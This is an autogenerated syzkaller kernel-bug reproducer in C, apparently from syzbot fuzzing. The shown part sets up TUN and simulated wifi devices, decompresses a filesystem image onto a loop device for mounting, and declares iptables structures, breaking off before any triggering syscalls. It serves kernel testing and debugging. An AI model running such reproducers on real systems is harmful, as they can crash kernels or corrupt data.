// https://syzkaller.appspot.com/bug?id=56e065d25b632864c8735369c55566776fa671e6 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef __NR_copy_file_range #define __NR_copy_file_range 326 #endif #ifndef __NR_memfd_create #define __NR_memfd_create 319 #endif #ifndef __NR_pwritev2 #define __NR_pwritev2 328 #endif static unsigned long long procid; static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void use_temporary_dir(void) { char tmpdir_template[] = "./syzkaller.XXXXXX"; char* tmpdir = mkdtemp(tmpdir_template); if (!tmpdir) exit(1); if (chmod(tmpdir, 0777)) exit(1); if (chdir(tmpdir)) exit(1); } static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); int i = 0; for (; i < 100; i++) { if (pthread_create(&th, &attr, fn, arg) == 0) { pthread_attr_destroy(&attr); return; } if (errno == EAGAIN) { usleep(50); continue; } break; } exit(1); } typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } struct nlmsg { char* pos; int nesting; struct nlattr* nested[8]; char buf[4096]; }; static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, const void* data, int size) { memset(nlmsg, 0, sizeof(*nlmsg)); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_type = typ; hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; memcpy(hdr + 1, data, size); nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); } static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, int size) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_len = sizeof(*attr) + size; attr->nla_type = typ; if (size > 0) memcpy(attr + 1, data, size); nlmsg->pos += NLMSG_ALIGN(attr->nla_len); } static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, int* reply_len, bool dofail) { if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) exit(1); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, (struct sockaddr*)&addr, sizeof(addr)); if (n != (ssize_t)hdr->nlmsg_len) { if (dofail) exit(1); return -1; } n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); if (reply_len) *reply_len = 0; if (n < 0) { if (dofail) exit(1); return -1; } if (n < (ssize_t)sizeof(struct nlmsghdr)) { errno = EINVAL; if (dofail) exit(1); return -1; } if (hdr->nlmsg_type == NLMSG_DONE) return 0; if (reply_len && hdr->nlmsg_type == reply_type) { *reply_len = n; return 0; } if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { errno = EINVAL; if (dofail) exit(1); return -1; } if (hdr->nlmsg_type != NLMSG_ERROR) { errno = EINVAL; if (dofail) exit(1); return -1; } errno = -((struct nlmsgerr*)(hdr + 1))->error; return -errno; } static int netlink_send(struct nlmsg* nlmsg, int sock) { return netlink_send_ext(nlmsg, sock, 0, NULL, true); } static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, const char* family_name, bool dofail) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = CTRL_CMD_GETFAMILY; netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, strnlen(family_name, GENL_NAMSIZ - 1) + 1); int n = 0; int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail); if (err < 0) { return -1; } uint16_t id = 0; struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { id = *(uint16_t*)(attr + 1); break; } } if (!id) { errno = EINVAL; return -1; } recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); return id; } static void netlink_device_change(struct nlmsg* nlmsg, int sock, const char* name, bool up, const char* master, const void* mac, int macsize, const char* new_name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); if (up) hdr.ifi_flags = hdr.ifi_change = IFF_UP; hdr.ifi_index = if_nametoindex(name); netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); if (new_name) netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); if (master) { int ifindex = if_nametoindex(master); netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); } if (macsize) netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev, const void* addr, int addrsize) { struct ifaddrmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120; hdr.ifa_scope = RT_SCOPE_UNIVERSE; hdr.ifa_index = if_nametoindex(dev); netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize); netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize); return netlink_send(nlmsg, sock); } static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in_addr in_addr; inet_pton(AF_INET, addr, &in_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr)); if (err < 0) { } } static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in6_addr in6_addr; inet_pton(AF_INET6, addr, &in6_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr)); if (err < 0) { } } static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name, const void* addr, int addrsize, const void* mac, int macsize) { struct ndmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ndm_ifindex = if_nametoindex(name); hdr.ndm_state = NUD_PERMANENT; netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, NDA_DST, addr, addrsize); netlink_attr(nlmsg, NDA_LLADDR, mac, macsize); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static struct nlmsg nlmsg; static int tunfd = -1; #define TUN_IFACE "syz_tun" #define LOCAL_MAC 0xaaaaaaaaaaaa #define REMOTE_MAC 0xaaaaaaaaaabb #define LOCAL_IPV4 "172.20.20.170" #define REMOTE_IPV4 "172.20.20.187" #define LOCAL_IPV6 "fe80::aa" #define REMOTE_IPV6 "fe80::bb" #define IFF_NAPI 0x0010 static void initialize_tun(void) { tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK); if (tunfd == -1) { printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n"); printf("otherwise fuzzing or reproducing might not work as intended\n"); return; } const int kTunFd = 200; if (dup2(tunfd, kTunFd) < 0) exit(1); close(tunfd); tunfd = kTunFd; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ); ifr.ifr_flags = IFF_TAP | IFF_NO_PI; if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) { exit(1); } char sysctl[64]; sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE); write_file(sysctl, "0"); sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE); write_file(sysctl, "0"); int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4); netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6); uint64_t macaddr = REMOTE_MAC; struct in_addr in_addr; inet_pton(AF_INET, REMOTE_IPV4, &in_addr); netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr), &macaddr, ETH_ALEN); struct in6_addr in6_addr; inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr); netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr), &macaddr, ETH_ALEN); macaddr = LOCAL_MAC; netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN, NULL); close(sock); } #define WIFI_INITIAL_DEVICE_COUNT 2 #define WIFI_MAC_BASE \ { \ 0x08, 0x02, 0x11, 0x00, 0x00, 0x00 \ } #define WIFI_IBSS_BSSID \ { \ 0x50, 0x50, 0x50, 0x50, 0x50, 0x50 \ } #define WIFI_IBSS_SSID \ { \ 0x10, 0x10, 0x10, 0x10, 0x10, 0x10 \ } #define WIFI_DEFAULT_FREQUENCY 2412 #define WIFI_DEFAULT_SIGNAL 0 #define WIFI_DEFAULT_RX_RATE 1 #define HWSIM_CMD_REGISTER 1 #define HWSIM_CMD_FRAME 2 #define HWSIM_CMD_NEW_RADIO 4 #define HWSIM_ATTR_SUPPORT_P2P_DEVICE 14 #define HWSIM_ATTR_PERM_ADDR 22 #define IF_OPER_UP 6 struct join_ibss_props { int wiphy_freq; bool wiphy_freq_fixed; uint8_t* mac; uint8_t* ssid; int ssid_len; }; static int set_interface_state(const char* interface_name, int on) { struct ifreq ifr; int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { return -1; } memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, interface_name); int ret = ioctl(sock, SIOCGIFFLAGS, &ifr); if (ret < 0) { close(sock); return -1; } if (on) ifr.ifr_flags |= IFF_UP; else ifr.ifr_flags &= ~IFF_UP; ret = ioctl(sock, SIOCSIFFLAGS, &ifr); close(sock); if (ret < 0) { return -1; } return 0; } static int nl80211_set_interface(struct nlmsg* nlmsg, int sock, int nl80211_family, uint32_t ifindex, uint32_t iftype) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = NL80211_CMD_SET_INTERFACE; netlink_init(nlmsg, nl80211_family, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, NL80211_ATTR_IFINDEX, &ifindex, sizeof(ifindex)); netlink_attr(nlmsg, NL80211_ATTR_IFTYPE, &iftype, sizeof(iftype)); int err = netlink_send(nlmsg, sock); if (err < 0) { } return err; } static int nl80211_join_ibss(struct nlmsg* nlmsg, int sock, int nl80211_family, uint32_t ifindex, struct join_ibss_props* props) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = NL80211_CMD_JOIN_IBSS; netlink_init(nlmsg, nl80211_family, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, NL80211_ATTR_IFINDEX, &ifindex, sizeof(ifindex)); netlink_attr(nlmsg, NL80211_ATTR_SSID, props->ssid, props->ssid_len); netlink_attr(nlmsg, NL80211_ATTR_WIPHY_FREQ, &(props->wiphy_freq), sizeof(props->wiphy_freq)); if (props->mac) netlink_attr(nlmsg, NL80211_ATTR_MAC, props->mac, ETH_ALEN); if (props->wiphy_freq_fixed) netlink_attr(nlmsg, NL80211_ATTR_FREQ_FIXED, NULL, 0); int err = netlink_send(nlmsg, sock); if (err < 0) { } return err; } static int get_ifla_operstate(struct nlmsg* nlmsg, int ifindex) { struct ifinfomsg info; memset(&info, 0, sizeof(info)); info.ifi_family = AF_UNSPEC; info.ifi_index = ifindex; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) { return -1; } netlink_init(nlmsg, RTM_GETLINK, 0, &info, sizeof(info)); int n; int err = netlink_send_ext(nlmsg, sock, RTM_NEWLINK, &n, true); close(sock); if (err) { return -1; } struct rtattr* attr = IFLA_RTA(NLMSG_DATA(nlmsg->buf)); for (; RTA_OK(attr, n); attr = RTA_NEXT(attr, n)) { if (attr->rta_type == IFLA_OPERSTATE) return *((int32_t*)RTA_DATA(attr)); } return -1; } static int await_ifla_operstate(struct nlmsg* nlmsg, char* interface, int operstate) { int ifindex = if_nametoindex(interface); while (true) { usleep(1000); int ret = get_ifla_operstate(nlmsg, ifindex); if (ret < 0) return ret; if (ret == operstate) return 0; } return 0; } static int nl80211_setup_ibss_interface(struct nlmsg* nlmsg, int sock, int nl80211_family_id, char* interface, struct join_ibss_props* ibss_props) { int ifindex = if_nametoindex(interface); if (ifindex == 0) { return -1; } int ret = nl80211_set_interface(nlmsg, sock, nl80211_family_id, ifindex, NL80211_IFTYPE_ADHOC); if (ret < 0) { return -1; } ret = set_interface_state(interface, 1); if (ret < 0) { return -1; } ret = nl80211_join_ibss(nlmsg, sock, nl80211_family_id, ifindex, ibss_props); if (ret < 0) { return -1; } return 0; } static int hwsim80211_create_device(struct nlmsg* nlmsg, int sock, int hwsim_family, uint8_t mac_addr[ETH_ALEN]) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = HWSIM_CMD_NEW_RADIO; netlink_init(nlmsg, hwsim_family, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, HWSIM_ATTR_SUPPORT_P2P_DEVICE, NULL, 0); netlink_attr(nlmsg, HWSIM_ATTR_PERM_ADDR, mac_addr, ETH_ALEN); int err = netlink_send(nlmsg, sock); if (err < 0) { } return err; } static void initialize_wifi_devices(void) { int rfkill = open("/dev/rfkill", O_RDWR); if (rfkill == -1) { if (errno != ENOENT && errno != EACCES) exit(1); } else { struct rfkill_event event = {0}; event.type = RFKILL_TYPE_ALL; event.op = RFKILL_OP_CHANGE_ALL; if (write(rfkill, &event, sizeof(event)) != (ssize_t)(sizeof(event))) exit(1); close(rfkill); } uint8_t mac_addr[6] = WIFI_MAC_BASE; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock < 0) { return; } int hwsim_family_id = netlink_query_family_id(&nlmsg, sock, "MAC80211_HWSIM", true); int nl80211_family_id = netlink_query_family_id(&nlmsg, sock, "nl80211", true); uint8_t ssid[] = WIFI_IBSS_SSID; uint8_t bssid[] = WIFI_IBSS_BSSID; struct join_ibss_props ibss_props = {.wiphy_freq = WIFI_DEFAULT_FREQUENCY, .wiphy_freq_fixed = true, .mac = bssid, .ssid = ssid, .ssid_len = sizeof(ssid)}; for (int device_id = 0; device_id < WIFI_INITIAL_DEVICE_COUNT; device_id++) { mac_addr[5] = device_id; int ret = hwsim80211_create_device(&nlmsg, sock, hwsim_family_id, mac_addr); if (ret < 0) exit(1); char interface[6] = "wlan0"; interface[4] += device_id; if (nl80211_setup_ibss_interface(&nlmsg, sock, nl80211_family_id, interface, &ibss_props) < 0) exit(1); } for (int device_id = 0; device_id < WIFI_INITIAL_DEVICE_COUNT; device_id++) { char interface[6] = "wlan0"; interface[4] += device_id; int ret = await_ifla_operstate(&nlmsg, interface, IF_OPER_UP); if (ret < 0) exit(1); } close(sock); } static int read_tun(char* data, int size) { if (tunfd < 0) return -1; int rv = read(tunfd, data, size); if (rv < 0) { if (errno == EAGAIN || errno == EBADFD) return -1; exit(1); } return rv; } static void flush_tun() { char data[1000]; while (read_tun(&data[0], sizeof(data)) != -1) { } } #define MAX_FDS 30 //% This code is derived from puff.{c,h}, found in the zlib development. The //% original files come with the following copyright notice: //% Copyright (C) 2002-2013 Mark Adler, all rights reserved //% version 2.3, 21 Jan 2013 //% This software is provided 'as-is', without any express or implied //% warranty. In no event will the author be held liable for any damages //% arising from the use of this software. //% Permission is granted to anyone to use this software for any purpose, //% including commercial applications, and to alter it and redistribute it //% freely, subject to the following restrictions: //% 1. The origin of this software must not be misrepresented; you must not //% claim that you wrote the original software. If you use this software //% in a product, an acknowledgment in the product documentation would be //% appreciated but is not required. //% 2. Altered source versions must be plainly marked as such, and must not be //% misrepresented as being the original software. //% 3. This notice may not be removed or altered from any source distribution. //% Mark Adler madler@alumni.caltech.edu //% BEGIN CODE DERIVED FROM puff.{c,h} #define MAXBITS 15 #define MAXLCODES 286 #define MAXDCODES 30 #define MAXCODES (MAXLCODES + MAXDCODES) #define FIXLCODES 288 struct puff_state { unsigned char* out; unsigned long outlen; unsigned long outcnt; const unsigned char* in; unsigned long inlen; unsigned long incnt; int bitbuf; int bitcnt; jmp_buf env; }; static int puff_bits(struct puff_state* s, int need) { long val = s->bitbuf; while (s->bitcnt < need) { if (s->incnt == s->inlen) longjmp(s->env, 1); val |= (long)(s->in[s->incnt++]) << s->bitcnt; s->bitcnt += 8; } s->bitbuf = (int)(val >> need); s->bitcnt -= need; return (int)(val & ((1L << need) - 1)); } static int puff_stored(struct puff_state* s) { s->bitbuf = 0; s->bitcnt = 0; if (s->incnt + 4 > s->inlen) return 2; unsigned len = s->in[s->incnt++]; len |= s->in[s->incnt++] << 8; if (s->in[s->incnt++] != (~len & 0xff) || s->in[s->incnt++] != ((~len >> 8) & 0xff)) return -2; if (s->incnt + len > s->inlen) return 2; if (s->outcnt + len > s->outlen) return 1; for (; len--; s->outcnt++, s->incnt++) { if (s->in[s->incnt]) s->out[s->outcnt] = s->in[s->incnt]; } return 0; } struct puff_huffman { short* count; short* symbol; }; static int puff_decode(struct puff_state* s, const struct puff_huffman* h) { int first = 0; int index = 0; int bitbuf = s->bitbuf; int left = s->bitcnt; int code = first = index = 0; int len = 1; short* next = h->count + 1; while (1) { while (left--) { code |= bitbuf & 1; bitbuf >>= 1; int count = *next++; if (code - count < first) { s->bitbuf = bitbuf; s->bitcnt = (s->bitcnt - len) & 7; return h->symbol[index + (code - first)]; } index += count; first += count; first <<= 1; code <<= 1; len++; } left = (MAXBITS + 1) - len; if (left == 0) break; if (s->incnt == s->inlen) longjmp(s->env, 1); bitbuf = s->in[s->incnt++]; if (left > 8) left = 8; } return -10; } static int puff_construct(struct puff_huffman* h, const short* length, int n) { int len; for (len = 0; len <= MAXBITS; len++) h->count[len] = 0; int symbol; for (symbol = 0; symbol < n; symbol++) (h->count[length[symbol]])++; if (h->count[0] == n) return 0; int left = 1; for (len = 1; len <= MAXBITS; len++) { left <<= 1; left -= h->count[len]; if (left < 0) return left; } short offs[MAXBITS + 1]; offs[1] = 0; for (len = 1; len < MAXBITS; len++) offs[len + 1] = offs[len] + h->count[len]; for (symbol = 0; symbol < n; symbol++) if (length[symbol] != 0) h->symbol[offs[length[symbol]]++] = symbol; return left; } static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode, const struct puff_huffman* distcode) { static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258}; static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0}; static const short dists[30] = { 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577}; static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13}; int symbol; do { symbol = puff_decode(s, lencode); if (symbol < 0) return symbol; if (symbol < 256) { if (s->outcnt == s->outlen) return 1; if (symbol) s->out[s->outcnt] = symbol; s->outcnt++; } else if (symbol > 256) { symbol -= 257; if (symbol >= 29) return -10; int len = lens[symbol] + puff_bits(s, lext[symbol]); symbol = puff_decode(s, distcode); if (symbol < 0) return symbol; unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]); if (dist > s->outcnt) return -11; if (s->outcnt + len > s->outlen) return 1; while (len--) { if (dist <= s->outcnt && s->out[s->outcnt - dist]) s->out[s->outcnt] = s->out[s->outcnt - dist]; s->outcnt++; } } } while (symbol != 256); return 0; } static int puff_fixed(struct puff_state* s) { static int virgin = 1; static short lencnt[MAXBITS + 1], lensym[FIXLCODES]; static short distcnt[MAXBITS + 1], distsym[MAXDCODES]; static struct puff_huffman lencode, distcode; if (virgin) { lencode.count = lencnt; lencode.symbol = lensym; distcode.count = distcnt; distcode.symbol = distsym; short lengths[FIXLCODES]; int symbol; for (symbol = 0; symbol < 144; symbol++) lengths[symbol] = 8; for (; symbol < 256; symbol++) lengths[symbol] = 9; for (; symbol < 280; symbol++) lengths[symbol] = 7; for (; symbol < FIXLCODES; symbol++) lengths[symbol] = 8; puff_construct(&lencode, lengths, FIXLCODES); for (symbol = 0; symbol < MAXDCODES; symbol++) lengths[symbol] = 5; puff_construct(&distcode, lengths, MAXDCODES); virgin = 0; } return puff_codes(s, &lencode, &distcode); } static int puff_dynamic(struct puff_state* s) { static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; int nlen = puff_bits(s, 5) + 257; int ndist = puff_bits(s, 5) + 1; int ncode = puff_bits(s, 4) + 4; if (nlen > MAXLCODES || ndist > MAXDCODES) return -3; short lengths[MAXCODES]; int index; for (index = 0; index < ncode; index++) lengths[order[index]] = puff_bits(s, 3); for (; index < 19; index++) lengths[order[index]] = 0; short lencnt[MAXBITS + 1], lensym[MAXLCODES]; struct puff_huffman lencode = {lencnt, lensym}; int err = puff_construct(&lencode, lengths, 19); if (err != 0) return -4; index = 0; while (index < nlen + ndist) { int symbol; int len; symbol = puff_decode(s, &lencode); if (symbol < 0) return symbol; if (symbol < 16) lengths[index++] = symbol; else { len = 0; if (symbol == 16) { if (index == 0) return -5; len = lengths[index - 1]; symbol = 3 + puff_bits(s, 2); } else if (symbol == 17) symbol = 3 + puff_bits(s, 3); else symbol = 11 + puff_bits(s, 7); if (index + symbol > nlen + ndist) return -6; while (symbol--) lengths[index++] = len; } } if (lengths[256] == 0) return -9; err = puff_construct(&lencode, lengths, nlen); if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1])) return -7; short distcnt[MAXBITS + 1], distsym[MAXDCODES]; struct puff_huffman distcode = {distcnt, distsym}; err = puff_construct(&distcode, lengths + nlen, ndist); if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1])) return -8; return puff_codes(s, &lencode, &distcode); } static int puff(unsigned char* dest, unsigned long* destlen, const unsigned char* source, unsigned long sourcelen) { struct puff_state s = { .out = dest, .outlen = *destlen, .outcnt = 0, .in = source, .inlen = sourcelen, .incnt = 0, .bitbuf = 0, .bitcnt = 0, }; int err; if (setjmp(s.env) != 0) err = 2; else { int last; do { last = puff_bits(&s, 1); int type = puff_bits(&s, 2); err = type == 0 ? puff_stored(&s) : (type == 1 ? puff_fixed(&s) : (type == 2 ? puff_dynamic(&s) : -1)); if (err != 0) break; } while (!last); } *destlen = s.outcnt; return err; } //% END CODE DERIVED FROM puff.{c,h} #define ZLIB_HEADER_WIDTH 2 static int puff_zlib_to_file(const unsigned char* source, unsigned long sourcelen, int dest_fd) { if (sourcelen < ZLIB_HEADER_WIDTH) return 0; source += ZLIB_HEADER_WIDTH; sourcelen -= ZLIB_HEADER_WIDTH; const unsigned long max_destlen = 132 << 20; void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0); if (ret == MAP_FAILED) return -1; unsigned char* dest = (unsigned char*)ret; unsigned long destlen = max_destlen; int err = puff(dest, &destlen, source, sourcelen); if (err) { munmap(dest, max_destlen); errno = -err; return -1; } if (write(dest_fd, dest, destlen) != (ssize_t)destlen) { munmap(dest, max_destlen); return -1; } return munmap(dest, destlen); } static int setup_loop_device(unsigned char* data, unsigned long size, const char* loopname, int* loopfd_p) { int err = 0, loopfd = -1; int memfd = syscall(__NR_memfd_create, "syzkaller", 0); if (memfd == -1) { err = errno; goto error; } if (puff_zlib_to_file(data, size, memfd)) { err = errno; goto error_close_memfd; } loopfd = open(loopname, O_RDWR); if (loopfd == -1) { err = errno; goto error_close_memfd; } if (ioctl(loopfd, LOOP_SET_FD, memfd)) { if (errno != EBUSY) { err = errno; goto error_close_loop; } ioctl(loopfd, LOOP_CLR_FD, 0); usleep(1000); if (ioctl(loopfd, LOOP_SET_FD, memfd)) { err = errno; goto error_close_loop; } } close(memfd); *loopfd_p = loopfd; return 0; error_close_loop: close(loopfd); error_close_memfd: close(memfd); error: errno = err; return -1; } static long syz_mount_image(volatile long fsarg, volatile long dir, volatile long flags, volatile long optsarg, volatile long change_dir, volatile unsigned long size, volatile long image) { unsigned char* data = (unsigned char*)image; int res = -1, err = 0, loopfd = -1, need_loop_device = !!size; char* mount_opts = (char*)optsarg; char* target = (char*)dir; char* fs = (char*)fsarg; char* source = NULL; char loopname[64]; if (need_loop_device) { memset(loopname, 0, sizeof(loopname)); snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid); if (setup_loop_device(data, size, loopname, &loopfd) == -1) return -1; source = loopname; } mkdir(target, 0777); char opts[256]; memset(opts, 0, sizeof(opts)); if (strlen(mount_opts) > (sizeof(opts) - 32)) { } strncpy(opts, mount_opts, sizeof(opts) - 32); if (strcmp(fs, "iso9660") == 0) { flags |= MS_RDONLY; } else if (strncmp(fs, "ext", 3) == 0) { bool has_remount_ro = false; char* remount_ro_start = strstr(opts, "errors=remount-ro"); if (remount_ro_start != NULL) { char after = *(remount_ro_start + strlen("errors=remount-ro")); char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1); has_remount_ro = ((before == '\0' || before == ',') && (after == '\0' || after == ',')); } if (strstr(opts, "errors=panic") || !has_remount_ro) strcat(opts, ",errors=continue"); } else if (strcmp(fs, "xfs") == 0) { strcat(opts, ",nouuid"); } res = mount(source, target, fs, flags, opts); if (res == -1) { err = errno; goto error_clear_loop; } res = open(target, O_RDONLY | O_DIRECTORY); if (res == -1) { err = errno; goto error_clear_loop; } if (change_dir) { res = chdir(target); if (res == -1) { err = errno; } } error_clear_loop: if (need_loop_device) { ioctl(loopfd, LOOP_CLR_FD, 0); close(loopfd); } errno = err; return res; } #define XT_TABLE_SIZE 1536 #define XT_MAX_ENTRIES 10 struct xt_counters { uint64_t pcnt, bcnt; }; struct ipt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_entries; unsigned int size; }; struct ipt_get_entries { char name[32]; unsigned int size; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct ipt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_counters; struct xt_counters* counters; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct ipt_table_desc { const char* name; struct ipt_getinfo info; struct ipt_replace replace; }; static struct ipt_table_desc ipv4_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; static struct ipt_table_desc ipv6_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; #define IPT_BASE_CTL 64 #define IPT_SO_SET_REPLACE (IPT_BASE_CTL) #define IPT_SO_GET_INFO (IPT_BASE_CTL) #define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1) struct arpt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[3]; unsigned int underflow[3]; unsigned int 